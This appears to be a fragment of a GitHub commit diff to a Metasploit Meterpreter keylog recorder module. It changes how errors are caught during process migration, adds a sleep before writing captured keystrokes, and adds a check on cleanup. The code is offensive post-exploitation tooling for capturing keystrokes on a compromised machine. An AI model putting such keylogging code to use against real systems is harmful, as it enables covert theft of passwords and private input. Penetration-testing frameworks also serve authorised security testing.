You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
220
217
returntrue
221
-
rescue::Rex::RuntimeError=>error
222
-
print_error("Could not migrate to PID #{target_pid}.")
218
+
rescueRex::Post::Meterpreter::RequestError=>error
219
+
print_error("Could not migrate to PID #{target_pid}. Exiting...")
223
220
print_error(error.to_s)
224
221
returnfalse
225
222
end
@@ -336,6 +333,7 @@ def finish_up
336
333
session.response_timeout=20#Change timeout so job will exit in 20 seconds if session is unresponsive
337
334
338
335
begin
336
+
sleep(@interval)
339
337
write_keylog_data
340
338
rescue::Exception=>e
341
339
print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...")ife.class.to_s != "Rex::TimeoutError"#Don't care about timeout, just exit
@@ -354,7 +352,9 @@ def finish_up
354
352
#
355
353
# @return [void] A useful return value is not expected here
356
354
defcleanup
355
+
if@logfile#make sure there is a log file meaning keylog started and migration was successful, if used.
0 commit comments